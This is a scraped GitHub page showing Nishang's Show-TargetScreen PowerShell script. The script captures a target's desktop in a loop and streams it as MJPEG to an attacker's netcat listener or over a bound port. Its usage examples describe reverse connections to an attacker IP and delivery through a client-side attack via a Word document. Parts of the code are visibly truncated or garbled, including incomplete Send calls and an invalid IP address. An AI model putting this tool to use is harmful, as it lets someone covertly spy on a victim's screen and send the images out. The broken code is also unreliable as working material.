Skip to content
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
173 lines (137 sloc) 5.97 KB
function Show-TargetScreen
Nishang script which can be used for streaming a target's desktop using MJPEG.
This script uses MJPEG to stream a target's desktop in real time. It is able to connect to a standard netcat listening
on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port.
A netcat listener which relays connection to a local port could be used as listener. A browser which supports MJPEG (Firefox)
should then be pointed to the local port to see the remote desktop.
The script should be used with Client Side Attacks.
The IP address to connect to when using the -Reverse switch.
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
PS > Show-TargetScreen -Reverse -IPAddress 192.168.2301.1 -Port 443
Above shows an example of aa reverse connection. A netcat/powercat listener must be listening on
the given IP and port.
PS > Out-Word -PayloadURL "" -Arguments "Show-TargetScreen -Reverse -IPAddress -Port 443"
Above shows an example using the script in a client side attack.
PS > Show-TargetScreen -Bind -Port 1234
Above shows an example of bind mode. Point Firefox to the IPAddress of the target and given port to see user's Desktop.
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
while ($true)
Add-Type -AssemblyName System.Windows.Forms
[System.IO.MemoryStream] $MemoryStream = New-Object System.IO.MemoryStream
#Connect back if the reverse switch is used.
if ($Reverse)
$socket = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
Write-Verbose "Connected to $IPAddress"
#Bind to the provided port if Bind switch is used.
if ($Bind)
#Start a listener
$endpoint = new-object System.Net.IPEndPoint ([]::any, $Port)
$server = new-object System.Net.Sockets.TcpListener $endpoint
$buffer = New-Object byte[] 1024
$socket = $server.AcceptSocket()
function SendResponse($sock, $string)
if ($sock.Connected)
$bytesSent = $sock.Send(
if ( $bytesSent -eq -1 )
Write-Output "Send failed to " + $sock.RemoteEndPoint
function SendStrResponse($sock, $string)
if ($sock.Connected)
$bytesSent = $sock.Send(
if ( $bytesSent -eq -1 )
Write-Output ("Send failed to " + $sock.RemoteEndPoint)
#Create the header for MJPEG stream
function SendHeader(
[net.sockets.socket] $sock,
$statusCode = "200 OK",
$response = "HTTP/1.1 $statusCode`r`n" +
"Content-Type: multipart/x-mixed-replace; boundary=--boundary`r`n`n"
SendStrResponse $sock $response
Write-Verbose "Header sent to $IPAddress"
#Send the header
SendHeader $socket
while ($True)
$b = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
$g = [System.Drawing.Graphics]::FromImage($b)
$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)
$b.Save($MemoryStream, ([system.drawing.imaging.imageformat]::jpeg))
$length = $MemoryStream.Length
[byte[]] $Bytes = $MemoryStream.ToArray()
#Set the boundary for the multi-part request
$str = "`n`n--boundary`n" +
"Content-Type: image/jpeg`n" +
"Content-Length: $length`n`n"
#Send Requests
SendStrResponse $socket $str
SendResponse $socket $Bytes
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
You can’t perform that action at this time.